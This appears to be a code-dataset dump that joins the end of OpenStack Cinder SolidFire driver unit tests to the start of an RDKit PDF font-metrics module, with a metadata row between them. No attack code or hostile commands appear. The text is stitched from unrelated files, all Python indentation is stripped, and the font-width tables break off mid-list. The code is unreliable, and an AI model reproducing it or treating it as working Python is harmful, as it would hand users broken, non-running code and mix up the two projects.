sfv = SolidFireDriver(configuration=self.configuration)
sfv.delete_volume(testvol)
def test_delete_volume_fails_no_volume(self):
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
testvol = {'project_id': 'testprjid',
'name': 'no-name',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'created_at': timeutils.utcnow()}
sfv = SolidFireDriver(configuration=self.configuration)
try:
sfv.delete_volume(testvol)
self.fail("Should have thrown Error")
except Exception:
pass
def test_delete_volume_fails_account_lookup(self):
# NOTE(JDG) This test just fakes update_cluster_status
# this is inentional for this test
self.stubs.Set(SolidFireDriver, '_update_cluster_status',
self.fake_update_cluster_status)
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request_fails)
testvol = {'project_id': 'testprjid',
'name': 'no-name',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'created_at': timeutils.utcnow()}
sfv = SolidFireDriver(configuration=self.configuration)
self.assertRaises(exception.SolidFireAccountNotFound,
sfv.delete_volume,
testvol)
def test_get_cluster_info(self):
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
sfv = SolidFireDriver(configuration=self.configuration)
sfv._get_cluster_info()
def test_get_cluster_info_fail(self):
# NOTE(JDG) This test just fakes update_cluster_status
# this is inentional for this test
self.stubs.Set(SolidFireDriver, '_update_cluster_status',
self.fake_update_cluster_status)
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request_fails)
sfv = SolidFireDriver(configuration=self.configuration)
self.assertRaises(exception.SolidFireAPIException,
sfv._get_cluster_info)
def test_extend_volume(self):
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
testvol = {'project_id': 'testprjid',
'name': 'test_volume',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'created_at': timeutils.utcnow()}
sfv = SolidFireDriver(configuration=self.configuration)
sfv.extend_volume(testvol, 2)
def test_extend_volume_fails_no_volume(self):
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
testvol = {'project_id': 'testprjid',
'name': 'no-name',
'size': 1,
'id': 'not-found'}
sfv = SolidFireDriver(configuration=self.configuration)
self.assertRaises(exception.VolumeNotFound,
sfv.extend_volume,
testvol, 2)
def test_extend_volume_fails_account_lookup(self):
# NOTE(JDG) This test just fakes update_cluster_status
# this is intentional for this test
self.stubs.Set(SolidFireDriver, '_update_cluster_status',
self.fake_update_cluster_status)
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request_fails)
testvol = {'project_id': 'testprjid',
'name': 'no-name',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'created_at': timeutils.utcnow()}
sfv = SolidFireDriver(configuration=self.configuration)
self.assertRaises(exception.SolidFireAccountNotFound,
sfv.extend_volume,
testvol, 2)
def test_set_by_qos_spec_with_scoping(self):
sfv = SolidFireDriver(configuration=self.configuration)
qos_ref = qos_specs.create(self.ctxt,
'qos-specs-1', {'qos:minIOPS': '1000',
'qos:maxIOPS': '10000',
'qos:burstIOPS': '20000'})
type_ref = volume_types.create(self.ctxt,
"type1", {"qos:minIOPS": "100",
"qos:burstIOPS": "300",
"qos:maxIOPS": "200"})
qos_specs.associate_qos_with_type(self.ctxt,
qos_ref['id'],
type_ref['id'])
qos = sfv._set_qos_by_volume_type(self.ctxt, type_ref['id'])
self.assertEqual(qos, self.expected_qos_results)
def test_set_by_qos_spec(self):
sfv = SolidFireDriver(configuration=self.configuration)
qos_ref = qos_specs.create(self.ctxt,
'qos-specs-1', {'minIOPS': '1000',
'maxIOPS': '10000',
'burstIOPS': '20000'})
type_ref = volume_types.create(self.ctxt,
"type1", {"qos:minIOPS": "100",
"qos:burstIOPS": "300",
"qos:maxIOPS": "200"})
qos_specs.associate_qos_with_type(self.ctxt,
qos_ref['id'],
type_ref['id'])
qos = sfv._set_qos_by_volume_type(self.ctxt, type_ref['id'])
self.assertEqual(qos, self.expected_qos_results)
def test_set_by_qos_by_type_only(self):
sfv = SolidFireDriver(configuration=self.configuration)
type_ref = volume_types.create(self.ctxt,
"type1", {"qos:minIOPS": "100",
"qos:burstIOPS": "300",
"qos:maxIOPS": "200"})
qos = sfv._set_qos_by_volume_type(self.ctxt, type_ref['id'])
self.assertEqual(qos, {'minIOPS': 100,
'maxIOPS': 200,
'burstIOPS': 300})
def test_accept_transfer(self):
sfv = SolidFireDriver(configuration=self.configuration)
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
testvol = {'project_id': 'testprjid',
'name': 'test_volume',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'created_at': timeutils.utcnow()}
expected = {'provider_auth': 'CHAP cinder-new_project 123456789012'}
self.assertEqual(sfv.accept_transfer(self.ctxt,
testvol,
'new_user', 'new_project'),
expected)
def test_accept_transfer_volume_not_found_raises(self):
sfv = SolidFireDriver(configuration=self.configuration)
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
testvol = {'project_id': 'testprjid',
'name': 'test_volume',
'size': 1,
'id': 'aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa',
'created_at': timeutils.utcnow()}
self.assertRaises(exception.VolumeNotFound,
sfv.accept_transfer,
self.ctxt,
testvol,
'new_user',
'new_project')
def test_retype(self):
sfv = SolidFireDriver(configuration=self.configuration)
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
type_ref = volume_types.create(self.ctxt,
"type1", {"qos:minIOPS": "500",
"qos:burstIOPS": "2000",
"qos:maxIOPS": "1000"})
diff = {'encryption': {}, 'qos_specs': {},
'extra_specs': {'qos:burstIOPS': ('10000', u'2000'),
'qos:minIOPS': ('1000', u'500'),
'qos:maxIOPS': ('10000', u'1000')}}
host = None
testvol = {'project_id': 'testprjid',
'name': 'test_volume',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'created_at': timeutils.utcnow()}
self.assertTrue(sfv.retype(self.ctxt,
testvol,
type_ref, diff, host))
def test_retype_with_qos_spec(self):
test_type = {'name': 'sf-1',
'qos_specs_id': 'fb0576d7-b4b5-4cad-85dc-ca92e6a497d1',
'deleted': False,
'created_at': '2014-02-06 04:58:11',
'updated_at': None,
'extra_specs': {},
'deleted_at': None,
'id': 'e730e97b-bc7d-4af3-934a-32e59b218e81'}
test_qos_spec = {'id': 'asdfafdasdf',
'specs': {'minIOPS': '1000',
'maxIOPS': '2000',
'burstIOPS': '3000'}}
def _fake_get_volume_type(ctxt, type_id):
return test_type
def _fake_get_qos_spec(ctxt, spec_id):
return test_qos_spec
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
self.stubs.Set(volume_types, 'get_volume_type',
_fake_get_volume_type)
self.stubs.Set(qos_specs, 'get_qos_specs',
_fake_get_qos_spec)
sfv = SolidFireDriver(configuration=self.configuration)
diff = {'encryption': {}, 'extra_specs': {},
'qos_specs': {'burstIOPS': ('10000', '2000'),
'minIOPS': ('1000', '500'),
'maxIOPS': ('10000', '1000')}}
host = None
testvol = {'project_id': 'testprjid',
'name': 'test_volume',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'created_at': timeutils.utcnow()}
sfv = SolidFireDriver(configuration=self.configuration)
self.assertTrue(sfv.retype(self.ctxt,
testvol,
test_type, diff, host))
def test_update_cluster_status(self):
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
sfv = SolidFireDriver(configuration=self.configuration)
sfv._update_cluster_status()
self.assertEqual(sfv.cluster_stats['free_capacity_gb'], 99.0)
self.assertEqual(sfv.cluster_stats['total_capacity_gb'], 100.0)
def test_manage_existing_volume(self):
external_ref = {'name': 'existing volume', 'source-id': 5}
testvol = {'project_id': 'testprjid',
'name': 'testvol',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'created_at': timeutils.utcnow()}
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
sfv = SolidFireDriver(configuration=self.configuration)
model_update = sfv.manage_existing(testvol, external_ref)
self.assertIsNotNone(model_update)
self.assertIsNone(model_update.get('provider_geometry', None))
| apache-2.0 |
jandom/rdkit | rdkit/sping/PDF/pdfmetrics.py | 1 | 20669 | #fontmetrics.py - part of PDFgen - copyright Andy Robinson 1999
"""This contains pre-canned text metrics for the PDFgen package, and may also
be used for any other PIDDLE back ends or packages which use the standard
Type 1 postscript fonts.
Its main function is to let you work out the width of strings; it exposes a
single function, stringwidth(text, fontname), which works out the width of a
string in the given font. This is an integer defined in em-square units - each
character is defined in a 1000 x 1000 box called the em-square - for a 1-point high
character. So to convert to points, multiply by 1000 and then by point size.
The AFM loading stuff worked for me but is not being heavily tested, as pre-canning
the widths for the standard 14 fonts in Acrobat Reader is so much more useful. One
could easily extend it to get the exact bounding box for each characterm useful for
kerning.
The ascent_descent attribute of the module is a dictionary mapping font names
(with the proper Postscript capitalisation) to ascents and descents. I ought
to sort out the fontname case issue and the resolution of PIDDLE fonts to
Postscript font names within this module, but have not yet done so.
13th June 1999
"""
from __future__ import print_function
import string, os
StandardEnglishFonts = [
'Courier', 'Courier-Bold', 'Courier-Oblique', 'Courier-BoldOblique', 'Helvetica',
'Helvetica-Bold', 'Helvetica-Oblique', 'Helvetica-BoldOblique', 'Times-Roman', 'Times-Bold',
'Times-Italic', 'Times-BoldItalic', 'Symbol', 'ZapfDingbats'
]
##############################################################
#
# PDF Metrics
# This is a preamble to give us a stringWidth function.
# loads and caches AFM files, but won't need to as the
# standard fonts are there already
##############################################################
widths = {
'courier':
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 0, 600, 600, 600,
600, 0, 600, 600, 600, 600, 600, 600, 600, 600, 0, 600, 0, 600, 600, 600, 600, 600, 600, 600,
600, 0, 600, 600, 0, 600, 600, 600, 600, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 600, 0,
600, 0, 0, 0, 0, 600, 600, 600, 600, 0, 0, 0, 0, 0, 600, 0, 0, 0, 600, 0, 0, 600, 600, 600, 600,
0, 0, 600],
'courier-bold':
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 0, 600, 600, 600,
600, 0, 600, 600, 600, 600, 600, 600, 600, 600, 0, 600, 0, 600, 600, 600, 600, 600, 600, 600,
600, 0, 600, 600, 0, 600, 600, 600, 600, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 600, 0,
600, 0, 0, 0, 0, 600, 600, 600, 600, 0, 0, 0, 0, 0, 600, 0, 0, 0, 600, 0, 0, 600, 600, 600, 600,
0, 0, 600],
'courier-boldoblique':
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 0, 600, 600, 600,
600, 0, 600, 600, 600, 600, 600, 600, 600, 600, 0, 600, 0, 600, 600, 600, 600, 600, 600, 600,
600, 0, 600, 600, 0, 600, 600, 600, 600, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 600, 0,
600, 0, 0, 0, 0, 600, 600, 600, 600, 0, 0, 0, 0, 0, 600, 0, 0, 0, 600, 0, 0, 600, 600, 600, 600,
0, 0, 600],
'courier-oblique':
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600,
600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 0, 600, 600, 600,
600, 0, 600, 600, 600, 600, 600, 600, 600, 600, 0, 600, 0, 600, 600, 600, 600, 600, 600, 600,
600, 0, 600, 600, 0, 600, 600, 600, 600, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 600, 0,
600, 0, 0, 0, 0, 600, 600, 600, 600, 0, 0, 0, 0, 0, 600, 0, 0, 0, 600, 0, 0, 600, 600, 600, 600,
0, 0, 600],
'helvetica':
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
278, 278, 355, 556, 556, 889, 667, 222, 333, 333, 389, 584, 278, 333, 278, 278, 556, 556, 556,
556, 556, 556, 556, 556, 556, 556, 278, 278, 584, 584, 584, 556, 1015, 667, 667, 722, 722, 667,
611, 778, 722, 278, 500, 667, 556, 833, 722, 778, 667, 778, 722, 667, 611, 722, 667, 944, 667,
667, 611, 278, 278, 278, 469, 556, 222, 556, 556, 500, 556, 556, 278, 556, 556, 222, 222, 500,
222, 833, 556, 556, 556, 556, 333, 500, 278, 556, 500, 722, 500, 500, 500, 334, 260, 334, 584, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 333, 556, 556, 167, 556, 556, 556, 556, 191, 333, 556, 333, 333, 500, 500, 0, 556, 556, 556,
278, 0, 537, 350, 222, 333, 333, 556, 1000, 1000, 0, 611, 0, 333, 333, 333, 333, 333, 333, 333,
333, 0, 333, 333, 0, 333, 333, 333, 1000, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1000,
0, 370, 0, 0, 0, 0, 556, 778, 1000, 365, 0, 0, 0, 0, 0, 889, 0, 0, 0, 278, 0, 0, 222, 611, 944,
611, 0, 0, 834],
'helvetica-bold':
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
278, 333, 474, 556, 556, 889, 722, 278, 333, 333, 389, 584, 278, 333, 278, 278, 556, 556, 556,
556, 556, 556, 556, 556, 556, 556, 333, 333, 584, 584, 584, 611, 975, 722, 722, 722, 722, 667,
611, 778, 722, 278, 556, 722, 611, 833, 722, 778, 667, 778, 722, 667, 611, 722, 667, 944, 667,
667, 611, 333, 278, 333, 584, 556, 278, 556, 611, 556, 611, 556, 333, 611, 611, 278, 278, 556,
278, 889, 611, 611, 611, 611, 389, 556, 333, 611, 556, 778, 556, 556, 500, 389, 280, 389, 584, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 333, 556, 556, 167, 556, 556, 556, 556, 238, 500, 556, 333, 333, 611, 611, 0, 556, 556, 556,
278, 0, 556, 350, 278, 500, 500, 556, 1000, 1000, 0, 611, 0, 333, 333, 333, 333, 333, 333, 333,
333, 0, 333, 333, 0, 333, 333, 333, 1000, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1000,
0, 370, 0, 0, 0, 0, 611, 778, 1000, 365, 0, 0, 0, 0, 0, 889, 0, 0, 0, 278, 0, 0, 278, 611, 944,
611, 0, 0, 834],
'helvetica-boldoblique':
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
278, 333, 474, 556, 556, 889, 722, 278, 333, 333, 389, 584, 278, 333, 278, 278, 556, 556, 556,
556, 556, 556, 556, 556, 556, 556, 333, 333, 584, 584, 584, 611, 975, 722, 722, 722, 722, 667,
611, 778, 722, 278, 556, 722, 611, 833, 722, 778, 667, 778, 722, 667, 611, 722, 667, 944, 667,
667, 611, 333, 278, 333, 584, 556, 278, 556, 611, 556, 611, 556, 333, 611, 611, 278, 278, 556,
278, 889, 611, 611, 611, 611, 389, 556, 333, 611, 556, 778, 556, 556, 500, 389, 280, 389, 584, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 333, 556, 556, 167, 556, 556, 556, 556, 238, 500, 556, 333, 333, 611, 611, 0, 556, 556, 556,
278, 0, 556, 350, 278, 500, 500, 556, 1000, 1000, 0, 611, 0, 333, 333, 333, 333, 333, 333, 333,
333, 0, 333, 333, 0, 333, 333, 333, 1000, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1000,
0, 370, 0, 0, 0, 0, 611, 778, 1000, 365, 0, 0, 0, 0, 0, 889, 0, 0, 0, 278, 0, 0, 278, 611, 944,
611, 0, 0, 834],
'helvetica-oblique':
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
278, 278, 355, 556, 556, 889, 667, 222, 333, 333, 389, 584, 278, 333, 278, 278, 556, 556, 556,
556, 556, 556, 556, 556, 556, 556, 278, 278, 584, 584, 584, 556, 1015, 667, 667, 722, 722, 667,
611, 778, 722, 278, 500, 667, 556, 833, 722, 778, 667, 778, 722, 667, 611, 722, 667, 944, 667,
667, 611, 278, 278, 278, 469, 556, 222, 556, 556, 500, 556, 556, 278, 556, 556, 222, 222, 500,
222, 833, 556, 556, 556, 556, 333, 500, 278, 556, 500, 722, 500, 500, 500, 334, 260, 334, 584, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 333, 556, 556, 167, 556, 556, 556, 556, 191, 333, 556, 333, 333, 500, 500, 0, 556, 556, 556,
278, 0, 537, 350, 222, 333, 333, 556, 1000, 1000, 0, 611, 0, 333, 333, 333, 333, 333, 333, 333,
333, 0, 333, 333, 0, 333, 333, 333, 1000, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1000,
0, 370, 0, 0, 0, 0, 556, 778, 1000, 365, 0, 0, 0, 0, 0, 889, 0, 0, 0, 278, 0, 0, 222, 611, 944,
611, 0, 0, 834],
'symbol':
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
250, 333, 713, 500, 549, 833, 778, 439, 333, 333, 500, 549, 250, 549, 250, 278, 500, 500, 500,
500, 500, 500, 500, 500, 500, 500, 278, 278, 549, 549, 549, 444, 549, 722, 667, 722, 612, 611,
763, 603, 722, 333, 631, 722, 686, 889, 722, 722, 768, 741, 556, 592, 611, 690, 439, 768, 645,
795, 611, 333, 863, 333, 658, 500, 500, 631, 549, 549, 494, 439, 521, 411, 603, 329, 603, 549,
549, 576, 521, 549, 549, 521, 549, 603, 439, 576, 713, 686, 493, 686, 494, 480, 200, 480, 549, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 620, 247, 549, 167, 713, 500, 753, 753, 753, 753, 1042, 987, 603, 987, 603, 400, 549, 411,
549, 549, 713, 494, 460, 549, 549, 549, 549, 1000, 603, 1000, 658, 823, 686, 795, 987, 768, 768,
823, 768, 768, 713, 713, 713, 713, 713, 713, 713, 768, 713, 790, 790, 890, 823, 549, 250, 713,
603, 603, 1042, 987, 603, 987, 603, 494, 329, 790, 790, 786, 713, 384, 384, 384, 384, 384, 384,
494, 494, 494, 494, 0, 329, 274, 686, 686, 686, 384, 384, 384, 384, 384, 384, 494, 494, 790],
'times-bold':
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
250, 333, 555, 500, 500, 1000, 833, 333, 333, 333, 500, 570, 250, 333, 250, 278, 500, 500, 500,
500, 500, 500, 500, 500, 500, 500, 333, 333, 570, 570, 570, 500, 930, 722, 667, 722, 722, 667,
611, 778, 778, 389, 500, 778, 667, 944, 722, 778, 611, 778, 722, 556, 667, 722, 722, 1000, 722,
722, 667, 333, 278, 333, 581, 500, 333, 500, 556, 444, 556, 444, 333, 500, 556, 278, 333, 556,
278, 833, 556, 500, 556, 556, 444, 389, 333, 556, 500, 722, 500, 500, 444, 394, 220, 394, 520, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 333, 500, 500, 167, 500, 500, 500, 500, 278, 500, 500, 333, 333, 556, 556, 0, 500, 500, 500,
250, 0, 540, 350, 333, 500, 500, 500, 1000, 1000, 0, 500, 0, 333, 333, 333, 333, 333, 333, 333,
333, 0, 333, 333, 0, 333, 333, 333, 1000, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1000,
0, 300, 0, 0, 0, 0, 667, 778, 1000, 330, 0, 0, 0, 0, 0, 722, 0, 0, 0, 278, 0, 0, 278, 500, 722,
556, 0, 0, 750],
'times-bolditalic': [
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
250, 389, 555, 500, 500, 833, 778, 333, 333, 333, 500, 570, 250, 333, 250, 278, 500, 500, 500,
500, 500, 500, 500, 500, 500, 500, 333, 333, 570, 570, 570, 500, 832, 667, 667, 667, 722, 667,
667, 722, 778, 389, 500, 667, 611, 889, 722, 722, 611, 722, 667, 556, 611, 722, 667, 889, 667,
611, 611, 333, 278, 333, 570, 500, 333, 500, 500, 444, 500, 444, 333, 500, 556, 278, 278, 500,
278, 778, 556, 500, 500, 500, 389, 389, 278, 556, 444, 667, 500, 444, 389, 348, 220, 348, 570,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 389, 500, 500, 167, 500, 500, 500, 500, 278, 500, 500, 333, 333, 556, 556, 0, 500, 500,
500, 250, 0, 500, 350, 333, 500, 500, 500, 1000, 1000, 0, 500, 0, 333, 333, 333, 333, 333, 333,
333, 333, 0, 333, 333, 0, 333, 333, 333, 1000, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
944, 0, 266, 0, 0, 0, 0, 611, 722, 944, 300, 0, 0, 0, 0, 0, 722, 0, 0, 0, 278, 0, 0, 278, 500,
722, 500, 0, 0, 750
],
'times-italic':
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
250, 333, 420, 500, 500, 833, 778, 333, 333, 333, 500, 675, 250, 333, 250, 278, 500, 500, 500,
500, 500, 500, 500, 500, 500, 500, 333, 333, 675, 675, 675, 500, 920, 611, 611, 667, 722, 611,
611, 722, 722, 333, 444, 667, 556, 833, 667, 722, 611, 722, 611, 500, 556, 722, 611, 833, 611,
556, 556, 389, 278, 389, 422, 500, 333, 500, 500, 444, 500, 444, 278, 500, 500, 278, 278, 444,
278, 722, 500, 500, 500, 500, 389, 389, 278, 500, 444, 667, 444, 444, 389, 400, 275, 400, 541, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 389, 500, 500, 167, 500, 500, 500, 500, 214, 556, 500, 333, 333, 500, 500, 0, 500, 500, 500,
250, 0, 523, 350, 333, 556, 556, 500, 889, 1000, 0, 500, 0, 333, 333, 333, 333, 333, 333, 333,
333, 0, 333, 333, 0, 333, 333, 333, 889, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 889, 0,
276, 0, 0, 0, 0, 556, 722, 944, 310, 0, 0, 0, 0, 0, 667, 0, 0, 0, 278, 0, 0, 278, 500, 667, 500,
0, 0, 750],
'times-roman': [
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
250, 333, 408, 500, 500, 833, 778, 333, 333, 333, 500, 564, 250, 333, 250, 278, 500, 500, 500,
500, 500, 500, 500, 500, 500, 500, 278, 278, 564, 564, 564, 444, 921, 722, 667, 667, 722, 611,
556, 722, 722, 333, 389, 722, 611, 889, 722, 722, 556, 722, 667, 556, 611, 722, 722, 944, 722,
722, 611, 333, 278, 333, 469, 500, 333, 444, 500, 444, 500, 444, 333, 500, 500, 278, 278, 500,
278, 778, 500, 500, 500, 500, 333, 389, 278, 500, 500, 722, 500, 500, 444, 480, 200, 480, 541,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 333, 500, 500, 167, 500, 500, 500, 500, 180, 444, 500, 333, 333, 556, 556, 0, 500, 500,
500, 250, 0, 453, 350, 333, 444, 444, 500, 1000, 1000, 0, 444, 0, 333, 333, 333, 333, 333, 333,
333, 333, 0, 333, 333, 0, 333, 333, 333, 1000, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
